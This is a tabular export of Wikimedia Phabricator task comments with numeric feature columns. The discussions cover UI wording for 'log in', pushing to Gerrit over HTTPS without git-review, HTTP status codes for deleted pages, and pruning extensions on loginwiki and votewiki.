290218,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",This fix is also incomplete...,,,1390847173,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,This fix is also incomplete...
290215,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",I see this got lightning fixed but why not change it to sign in - we already use the phrase sign up for the other action. I feel this would be even better...,,,1390764904,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.5714285714285716,0.8857142857142857,I see this got lightning fixed but why not change it to sign in - we already use the phrase sign up for the other action. I feel this would be even better...
290212,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109503 merged by jenkins-bot:
Renamed ""login"" to ""log in"" where it is used as a verb

https://gerrit.wikimedia.org/r/109503",,,1390721560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,15.0,7.0,0.0,15.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.259259259259259,0.8888888888888888,"Change 109503 merged by jenkins-bot:
Renamed ""login"" to ""log in"" where it is used as a verb

GERRIT_URL"
290209,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109503 had a related patch set uploaded by 01tonythomas:
Renamed ""login"" to ""log in"" where it is used as a verb

https://gerrit.wikimedia.org/r/109503",,,1390721192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,3.0,0.0,13.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8666666666666667,"Change 109503 had a related patch set uploaded by 01tonythomas:
Renamed ""login"" to ""log in"" where it is used as a verb

GERRIT_URL"
61865,make git-review support pushing via https,"Currently, its not possible to push to gerrit using https method.
Since people with internet on which port 29418 is blocked can't access it through ssh, it makes a hard time to contribute, so it would better to have an alternative.
Also git review doesn't work with https.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1389265440,1441910991.0,PHID-USER-6gf5fwj6udg2l2zv5amf,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-ws3ztalcyam4dcezou6l,task_description,declined,True,c3,1,False,False,True,-77,True,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,6.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,5.0,13.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.9358974358974357,0.7051282051282052,"Currently, its not possible to push to gerrit using https method.
Since people with internet on which port 29418 is blocked can't access it through ssh, it makes a hard time to contribute, so it would better to have an alternative.
Also git review doesn't work with https.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
524613,make git-review support pushing via https,"Per:
>>! In T61865#630155, @saper wrote:
> git-review currently relies heavily on gerrit SSH commands to query some information. We sill have some issues to resolve with it. Adding HTTP support would mean a major rewrite.
> 
> See also https://bugs.launchpad.net/git-review/+bug/1194718/comments/6 for some background.


I am declining this task. The workaround is to not use git-review but instead the git push to refs/heads/for/ as mentioned by @Apsdehal.

If one really want to have git-review to support https, a better place would be in upstream bug tracker.",,,1441910991,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.6153846153846154,0.7538461538461538,"Per:
QUOTE
QUOTE
QUOTE
QUOTE


I am declining this task. The workaround is to not use git-review but instead the git push to refs/heads/for/ as mentioned bySCREEN_NAME.

If one really want to have git-review to support https, a better place would be in upstream bug tracker."
273643,make git-review support pushing via https,"I was able to push my change to existing gerrit repo using the command
git push https://username@gerrit.wikimedia.org/r/mediawiki/extensions/ExtensionName HEAD:refs/changes/[last two digits of gerrit repo no]/repono.

For example:-
If username:- is foo and extension is UploadWizard and repo no. is 123456 do the following

git push https://foo@gerrit.wikimedia.org/r/mediawiki/extensions/UploadWizard HEAD:refs/changes/56/123456",,,1389770425,,PHID-USER-6gf5fwj6udg2l2zv5amf,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,13.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,3.0,8.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2,0.6833333333333333,"I was able to push my change to existing gerrit repo using the command
git push URL HEAD:refs/changes/[last two digits of gerrit repo no]/repono.

For example:-
If username:- is foo and extension is UploadWizard and repo no. is 123456 do the following

git push URL HEAD:refs/changes/56/123456"
273637,make git-review support pushing via https,"git-review currently relies heavily on gerrit SSH commands to query some information. We sill have some issues to resolve with it. Adding HTTP support would mean a major rewrite.

See also https://bugs.launchpad.net/git-review/+bug/1194718/comments/6 for some background.

I am pretty sure there was an upstream bug somewhere about it but I can't find it now (daydreaming?)",,,1389642204,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,5.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,2.0,12.0,9.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,9.0,9.0,5.0,2.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0,0.8484848484848485,"git-review currently relies heavily on gerrit SSH commands to query some information. We sill have some issues to resolve with it. Adding HTTP support would mean a major rewrite.

See also URL for some background.

I am pretty sure there was an upstream bug somewhere about it but I can't find it now (daydreaming?)"
273633,make git-review support pushing via https,also see https://stackoverflow.com/questions/14320817/how-to-push-change-to-gerrit-server-via-http,,,1389636927,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,also see URL
273628,make git-review support pushing via https,"Daniel,

Thanks for your concern, I would look upon and check the http push you said and would look into git review to see if I can fix it.",,,1389636050,,PHID-USER-6gf5fwj6udg2l2zv5amf,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,15.0,15.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.393939393939394,0.8484848484848485,"Daniel,

Thanks for your concern, I would look upon and check the http push you said and would look into git review to see if I can fix it."
273622,make git-review support pushing via https,"apsdehal,

to summarize, because i also wanted to know this and asked around:

you can push via https using the gerrit feature to set a ""http pass"", gerrit would let you do this, git let's you do it, the only problem is that the ""git review"" tool does not support this.  So your workaround is one of:

- don't use git review and use the longer manual git commands instead,
- fix the git review tool itself, which is not part of git core, 
or
- find or write another tool that makes it comfortable to do but does not have this limitation

so this is not a bug against gerrit, but just against the git review tool that we recommend to use, but you don't have to use it.

hope that helped",,,1389635705,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,3.5,2.5,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,1.0,0.0,5.5,8.5,0.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.5,0.5,6.5,1.5,2.5,0.5,2.5,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,15.5,2.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,1.0,0.5,0.5,0.5,4.5,2.0,0.5,1.5,4.0,8.5,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,6.5,8.5,0.5,0.0,2.0,0.0,6.5,0.0,2.5,1.0,0.5,0.5,0.5,0.0,0.0,3.436314363143631,0.631737428485396,"apsdehal,

to summarize, because i also wanted to know this and asked around:

you can push via https using the gerrit feature to set a ""http pass"", gerrit would let you do this, git let's you do it, the only problem is that the ""git review"" tool does not support this.  So your workaround is one of:

- don't use git review and use the longer manual git commands instead,
- fix the git review tool itself, which is not part of git core, 
or
- find or write another tool that makes it comfortable to do but does not have this limitation

so this is not a bug against gerrit, but just against the git review tool that we recommend to use, but you don't have to use it.

hope that helped"
273617,make git-review support pushing via https,"(In reply to comment #0)
> Currently, its not possible to push to gerrit using https method.

Yes it is.

> Since people with internet on which port 29418 is blocked can't access it
> through ssh, it makes a hard time to contribute, so it would better to have
> an
> alternative.

That's bug 35611.

> Also git review doesn't work with https.

git-review is awful :(",,,1389281152,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.789473684210526,0.631578947368421,"(In reply to comment #0)
QUOTE

Yes it is.

QUOTE
QUOTE
QUOTE
QUOTE

That's bug 35611.

QUOTE

git-review is awful :("
273608,make git-review support pushing via https,"I'd like to reopen it because i suggested to create it. reasoning: there are probably quite a few users who are behind firewalls that don't allow them to connect to the high gerrit port. And there seem to be at least some theoretical solutions, like:

 login gerrit-server-host -> settings -> http password -> generate password.

https://groups.google.com/forum/#!topic/repo-discuss/7BXB_t7cHs8

just curious if that has ever been considered before, pls CC: demon",,,1389267706,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,2.0,0.0,0.0,1.0,1.0,7.0,2.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,13.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,2.0,2.0,1.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,5.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,13.0,3.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,2.0,3.840909090909091,0.7386363636363636,"I'd like to reopen it because i suggested to create it. reasoning: there are probably quite a few users who are behind firewalls that don't allow them to connect to the high gerrit port. And there seem to be at least some theoretical solutions, like:

 login gerrit-server-host -> settings -> http password -> generate password.

URL

just curious if that has ever been considered before, pls CC: demon"
273602,make git-review support pushing via https,"But still it would be easier to push through git-review, and https is not possible with it.",,,1389266607,,PHID-USER-6gf5fwj6udg2l2zv5amf,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.5714285714285716,0.9523809523809523,"But still it would be easier to push through git-review, and https is not possible with it."
273599,make git-review support pushing via https,https://www.mediawiki.org/wiki/Gerrit already links to https://tools.wmflabs.org/gerrit-patch-uploader/,,,1389265815,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,URL already links to URL
61733,Deleted pages should be served as HTTP 404 instead of HTTP 200,"The ""this page has been deleted"" message should be served as HTTP 404 (note: not HTTP 410, as in WONTFIXed bug {T14345}, which implies that the resource will never come back - that is not necessarily true for deleted pages).

Related: the 2014 discussion [[https://en.wikipedia.org/w/index.php?title=Wikipedia:Biographies_of_living_persons/Noticeboard&oldid=589460695#Does_the_statement_.22A_page_with_this_title_has_previously_been_deleted.22_create_a_BLP_problem.3F|Wikipedia:Biographies of living persons/Noticeboard#Does the statement ""A page with this title has previously been deleted"" create a BLP problem?]], regarding potential consequences of the ""this page has been deleted"" message appearing in search results for living persons.

--------------------------
**Version**: 1.23.0
**Severity**: minor",Low,25.0,1389032040,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,False,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_description,open,True,c3,1,False,False,,-78,True,0.0,0.0,0.0,2.5,1.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,6.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,4.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.5,13.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,3.0,7.5,0.5,0.0,7.5,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,6.0,2.0,1.0,4.0,0.0,0.0,0.0,1.0,1.5,0.0,3.0,0.0,0.0,2.0,4.024193548387097,0.7661290322580645,"The ""this page has been deleted"" message should be served as HTTP 404 (note: not HTTP 410, as in WONTFIXed bug {T14345}, which implies that the resource will never come back - that is not necessarily true for deleted pages).

Related: the 2014 discussion [[URL of living persons/Noticeboard#Does the statement ""A page with this title has previously been deleted"" create a BLP problem?]], regarding potential consequences of the ""this page has been deleted"" message appearing in search results for living persons.

--------------------------
**Version**: 1.23.0
**Severity**: minor"
265668,Deleted pages should be served as HTTP 404 instead of HTTP 200,"I wasn't aware of that change - good to know - but no, mainspace (and presumably other namespace) pages.",,,1389694792,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.9583333333333334,"I wasn't aware of that change - good to know - but no, mainspace (and presumably other namespace) pages."
265665,Deleted pages should be served as HTTP 404 instead of HTTP 200,Are you talking about user pages? That was changed to always return HTTP 200 (excepted unknown and blocked users) to allow use of the url as OpenID.,,,1389522549,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,16.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.935483870967742,0.967741935483871,Are you talking about user pages? That was changed to always return HTTP 200 (excepted unknown and blocked users) to allow use of the url as OpenID.
265661,Deleted pages should be served as HTTP 404 instead of HTTP 200,"Ah, thanks! I misread.",,,1389283043,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,1.0,"Ah, thanks! I misread."
265656,Deleted pages should be served as HTTP 404 instead of HTTP 200,"Hi Andre, I've changed the title again as the pages aren't currently being served as 410. :)",,,1389281317,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,14.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.9047619047619048,"Hi Andre, I've changed the title again as the pages aren't currently being served as 410. :)"
61702,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"https://login.wikimedia.org/wiki/Special:Version
https://vote.wikimedia.org/wiki/Special:Version

Lots of installed extensions on loginwiki/votewiki... not sure most are needed.

--------------------------
**See Also**: {T61701}",Low,25.0,1388965920,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ij3hmsszlnhzkqojakbw,task_description,open,True,c3,1,True,False,,-78,True,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.96875,0.8125,"URL
URL

Lots of installed extensions on loginwiki/votewiki... not sure most are needed.

--------------------------
**See Also**: {T61701}"
2353750,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),Changed status back. Misclick.,,,1718042473,,PHID-USER-pxw24c4mvyhxmkoqdot3,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,466,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8333333333333334,Changed status back. Misclick.
2267054,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Listing more extensions not named above that appear in Special:Versions and seem to me to not be needed at loginwiki:
 - 3D
 - CodeEditor
 - CodeMirror
 - ElectronPdfService
 - Global Usage
 - Kartographer
 - MediaModeration
 - RevisionSlider
 - TemplateStyles
